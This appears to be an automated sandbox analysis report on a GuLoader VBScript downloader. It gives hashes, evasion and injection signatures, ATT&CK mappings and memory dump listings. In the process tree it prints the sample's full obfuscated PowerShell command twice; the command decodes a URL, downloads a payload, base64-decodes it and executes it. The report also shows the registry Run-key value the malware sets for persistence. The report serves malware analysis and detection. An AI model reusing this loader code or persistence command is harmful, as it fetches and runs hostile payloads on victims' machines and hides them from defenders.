guloader | 926fe7f70c86b5c16a632344191820206772f8c53ac075446b138d209a1bf22a

General

Target

a75c770acab8755ebc617f8925eff3b4.vbs
Size

34KB
MD5

a75c770acab8755ebc617f8925eff3b4
SHA1

3368ba6a1379d325bd9f0ccfe207f4963217b9c9
SHA256

926fe7f70c86b5c16a632344191820206772f8c53ac075446b138d209a1bf22a
SHA512

2f98c7848fcb81dc39772bc3129be29c3f22ebce2cca03da3150e9f75e2f9fd472ef4301782f91c23f65a9d6f93957e653862f723b5f99293f609430caa715a6
SSDEEP

768:UObC4BcJLusxj/gqJ77UkZb3d8IbXK4HkMsFkafl:J24B2usBveebNzb6kul

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	5116	WScript.exe

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Software\Microsoft\Windows\CurrentVersion\Run	ieinstal.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Amidoplast = "%TORO% -w 1 $Inde=(Get-ItemProperty -Path 'HKCU:\\bandernes\\').Semipas;%TORO% ($Inde)"	ieinstal.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
4584	ieinstal.exe
4584	ieinstal.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4700	powershell.exe
4584	ieinstal.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4700 set thread context of 4584	4700	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2256	powershell.exe
2256	powershell.exe
4700	powershell.exe
4700	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4700	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	4700	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4584	ieinstal.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 5116 wrote to memory of 2256	5116	WScript.exe	84
PID 5116 wrote to memory of 2256	5116	WScript.exe	84
PID 2256 wrote to memory of 4700	2256	powershell.exe	86
PID 2256 wrote to memory of 4700	2256	powershell.exe	86
PID 2256 wrote to memory of 4700	2256	powershell.exe	86
PID 4700 wrote to memory of 4584	4700	powershell.exe	96
PID 4700 wrote to memory of 4584	4700	powershell.exe	96
PID 4700 wrote to memory of 4584	4700	powershell.exe	96
PID 4700 wrote to memory of 4584	4700	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a75c770acab8755ebc617f8925eff3b4.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Unrhe9 ([String]$Unethyla){For($Uoverst=1; $Uoverst -lt $Unethyla.Length-1; $Uoverst+=(1+1)){$Told=$Told+$Unethyla.Substring($Uoverst, 1)};$Told;}$Oldtidsmi=Unrhe9 'Ph t tLp :B/r/S5P.P8N. 8F. 1 0B0c/ sKiGgCn aCl /CTKr a vHeSr s eSr . d wDpD ';$Told01=Unrhe9 'BiEeDx ';$Pixysunl194 = Unrhe9 ' \ sByUs wDo wB6 4 \TWSi nFd ogwDsNPRoRwBeFrPSMhCeKlAl \ v 1D.U0R\CpCo w eVrMsNhBe lSl .UeSx e ';.($Told01) (Unrhe9 ' $VCSoCePr c i oRnRaO2t=R$PeGn vT: wIiBn dVikrH ') ;.($Told01) (Unrhe9 'F$MPDiEx yCsPuPnAl 1R9 4F=d$UC oSe r c iUo n aA2C+B$SPSiFxMy s uMn l 1 9 4 ') ;.($Told01) (Unrhe9 'H$LTBu bKeHrS = (E(EgTwDm il TwBiDnR3f2S_ p rEo c eVsRsD -EFS PTr oKc eRs s I d = $R{MPAI D }M) . C o m m aCn dULFi n eK) -MsspSlBiqtF [ScOh aWrO]a3K4l ');.($Told01) (Unrhe9 ' $ ETlFlSeBv tSe bKe B=E $BT upb ePrB[E$ TDuAbKe r . c oKu n tD-A2S] ');.($Told01) (Unrhe9 ' $ F o rDj = (KTBeAsBt -PP aHt h O$ PGiTx y sNuKnSlD1 9 4D) D-BASnPdC P( [ IMn tJP t r ] :F:UsAiFzSeD J-Ae q 8 ) ') ;if ($Forj) {.$Pixysunl194 $Ellevtebe;} else {;$Told00=Unrhe9 'PS tSaurSt -TBBiRt s T r a nRs fMeGrM U-LS o u r cFeS $ OFl dPtKiCdSs mNiA N- DPeAsotuiSnBa tUiToSnA s$TCso e rPcCi oEnDaS2 ';.($Told01) (Unrhe9 ' $ CGo eRr cCiGoJn aU2 =B$Se nRvT: a p pKd aAtVa ') ;.($Told01) (Unrhe9 ' I mNpNoHrMtD-RM o dIuCl et BDi tEsRTdrPaPn s f eAr ') ;$Coerciona2=$Coerciona2+'\Kommaerp.ema';while (-not $Egaliser) {.($Told01) (Unrhe9 'S$ E g afluiUsUe rK= (BT eDspt - PMaGt hR $SCBo e rEcAi o n a 2O)D ') ;.($Told01) $Told00;.($Told01) (Unrhe9 ' SSt aCr tP- S lCe eAp E5 ');}.($Told01) (Unrhe9 ' $ URnVr hReV = OGBeHtQ-BC oSn tJeCnTt F$MCLoMeSr cFi oPnPaG2 ');.($Told01) (Unrhe9 'K$ MGo aEt iPnMg hS B= S[ISPyHs t eFmG.SC o nPvPeAr tD] :S:HFNr o m BBa s eP6 4MSCtVrCiFn g ( $ U nRr h eB) ');.($Told01) (Unrhe9 'T$STao lLd 2D =D f[ SPyssKtFeNmB.STSe xPtR.ME nBc oPdViun gT] :P:BAAS CSIBI . GpeOtFS tFr ihnSg ( $ MIoKa tVi n gNhF) ');.($Told01) (Unrhe9 'T$PASs tCrLo l o g iS=P$ T o lPd 2C.Ws u b s t rRiGnAgC( 1 8G3 9 8T3p,S1S9N7A2N5K)P ');.($Told01) $Astrologi;}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Unrhe9 ([String]$Unethyla){For($Uoverst=1; $Uoverst -lt $Unethyla.Length-1; $Uoverst+=(1+1)){$Told=$Told+$Unethyla.Substring($Uoverst, 1)};$Told;}$Oldtidsmi=Unrhe9 'Ph t tLp :B/r/S5P.P8N. 8F. 1 0B0c/ sKiGgCn aCl /CTKr a vHeSr s eSr . d wDpD ';$Told01=Unrhe9 'BiEeDx ';$Pixysunl194 = Unrhe9 ' \ sByUs wDo wB6 4 \TWSi nFd ogwDsNPRoRwBeFrPSMhCeKlAl \ v 1D.U0R\CpCo w eVrMsNhBe lSl .UeSx e ';.($Told01) (Unrhe9 ' $VCSoCePr c i oRnRaO2t=R$PeGn vT: wIiBn dVikrH ') ;.($Told01) (Unrhe9 'F$MPDiEx yCsPuPnAl 1R9 4F=d$UC oSe r c iUo n aA2C+B$SPSiFxMy s uMn l 1 9 4 ') ;.($Told01) (Unrhe9 'H$LTBu bKeHrS = (E(EgTwDm il TwBiDnR3f2S_ p rEo c eVsRsD -EFS PTr oKc eRs s I d = $R{MPAI D }M) . C o m m aCn dULFi n eK) -MsspSlBiqtF [ScOh aWrO]a3K4l ');.($Told01) (Unrhe9 ' $ ETlFlSeBv tSe bKe B=E $BT upb ePrB[E$ TDuAbKe r . c oKu n tD-A2S] ');.($Told01) (Unrhe9 ' $ F o rDj = (KTBeAsBt -PP aHt h O$ PGiTx y sNuKnSlD1 9 4D) D-BASnPdC P( [ IMn tJP t r ] :F:UsAiFzSeD J-Ae q 8 ) ') ;if ($Forj) {.$Pixysunl194 $Ellevtebe;} else {;$Told00=Unrhe9 'PS tSaurSt -TBBiRt s T r a nRs fMeGrM U-LS o u r cFeS $ OFl dPtKiCdSs mNiA N- DPeAsotuiSnBa tUiToSnA s$TCso e rPcCi oEnDaS2 ';.($Told01) (Unrhe9 ' $ CGo eRr cCiGoJn aU2 =B$Se nRvT: a p pKd aAtVa ') ;.($Told01) (Unrhe9 ' I mNpNoHrMtD-RM o dIuCl et BDi tEsRTdrPaPn s f eAr ') ;$Coerciona2=$Coerciona2+'\Kommaerp.ema';while (-not $Egaliser) {.($Told01) (Unrhe9 'S$ E g afluiUsUe rK= (BT eDspt - PMaGt hR $SCBo e rEcAi o n a 2O)D ') ;.($Told01) $Told00;.($Told01) (Unrhe9 ' SSt aCr tP- S lCe eAp E5 ');}.($Told01) (Unrhe9 ' $ URnVr hReV = OGBeHtQ-BC oSn tJeCnTt F$MCLoMeSr cFi oPnPaG2 ');.($Told01) (Unrhe9 'K$ MGo aEt iPnMg hS B= S[ISPyHs t eFmG.SC o nPvPeAr tD] :S:HFNr o m BBa s eP6 4MSCtVrCiFn g ( $ U nRr h eB) ');.($Told01) (Unrhe9 'T$STao lLd 2D =D f[ SPyssKtFeNmB.STSe xPtR.ME nBc oPdViun gT] :P:BAAS CSIBI . GpeOtFS tFr ihnSg ( $ MIoKa tVi n gNhF) ');.($Told01) (Unrhe9 'T$PASs tCrLo l o g iS=P$ T o lPd 2C.Ws u b s t rRiGnAgC( 1 8G3 9 8T3p,S1S9N7A2N5K)P ');.($Told01) $Astrologi;}"
    3⤵
    - Checks QEMU agent file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4700
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      Checks QEMU agent file
      Adds Run key to start application
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetWindowsHookEx
      PID:4584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nmgg2ftt.tym.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2256-137-0x00000164761F0000-0x0000016476200000-memory.dmp

Filesize
64KB

Download
memory/2256-138-0x0000016476270000-0x0000016476292000-memory.dmp

Filesize
136KB

Download
memory/2256-148-0x00000164761F0000-0x0000016476200000-memory.dmp

Filesize
64KB

Download
memory/2256-149-0x00000164761F0000-0x0000016476200000-memory.dmp

Filesize
64KB

Download
memory/2256-168-0x00000164761F0000-0x0000016476200000-memory.dmp

Filesize
64KB

Download
memory/2256-167-0x00000164761F0000-0x0000016476200000-memory.dmp

Filesize
64KB

Download
memory/2256-169-0x00000164761F0000-0x0000016476200000-memory.dmp

Filesize
64KB

Download
memory/4584-186-0x0000000000960000-0x0000000001D48000-memory.dmp

Filesize
19.9MB

Download
memory/4584-182-0x0000000000960000-0x0000000001D48000-memory.dmp

Filesize
19.9MB

Download
memory/4584-183-0x0000000000960000-0x0000000001D48000-memory.dmp

Filesize
19.9MB

Download
memory/4584-184-0x0000000000960000-0x0000000001D48000-memory.dmp

Filesize
19.9MB

Download
memory/4584-190-0x0000000000960000-0x0000000001D48000-memory.dmp

Filesize
19.9MB

Download
memory/4700-170-0x0000000007FC0000-0x000000000863A000-memory.dmp

Filesize
6.5MB

Download
memory/4700-176-0x0000000008640000-0x0000000008654000-memory.dmp

Filesize
80KB

Download
memory/4700-156-0x00000000061E0000-0x0000000006246000-memory.dmp

Filesize
408KB

Download
memory/4700-155-0x0000000006100000-0x0000000006166000-memory.dmp

Filesize
408KB

Download
memory/4700-171-0x0000000006EF0000-0x0000000006F0A000-memory.dmp

Filesize
104KB

Download
memory/4700-172-0x0000000007A20000-0x0000000007AB6000-memory.dmp

Filesize
600KB

Download
memory/4700-173-0x0000000007940000-0x0000000007962000-memory.dmp

Filesize
136KB

Download
memory/4700-174-0x0000000008BF0000-0x0000000009194000-memory.dmp

Filesize
5.6MB

Download
memory/4700-175-0x0000000002FF0000-0x0000000003000000-memory.dmp

Filesize
64KB

Download
memory/4700-166-0x0000000006970000-0x000000000698E000-memory.dmp

Filesize
120KB

Download
memory/4700-177-0x0000000002FF0000-0x0000000003000000-memory.dmp

Filesize
64KB

Download
memory/4700-178-0x0000000002FF0000-0x0000000003000000-memory.dmp

Filesize
64KB

Download
memory/4700-180-0x00000000091A0000-0x000000000A588000-memory.dmp

Filesize
19.9MB

Download
memory/4700-181-0x00000000086D0000-0x00000000086D1000-memory.dmp

Filesize
4KB

Download
memory/4700-154-0x0000000006060000-0x0000000006082000-memory.dmp

Filesize
136KB

Download
memory/4700-153-0x0000000002FF0000-0x0000000003000000-memory.dmp

Filesize
64KB

Download
memory/4700-152-0x00000000059D0000-0x0000000005FF8000-memory.dmp

Filesize
6.2MB

Download
memory/4700-151-0x0000000003000000-0x0000000003036000-memory.dmp

Filesize
216KB

Download
memory/4700-150-0x0000000002FF0000-0x0000000003000000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads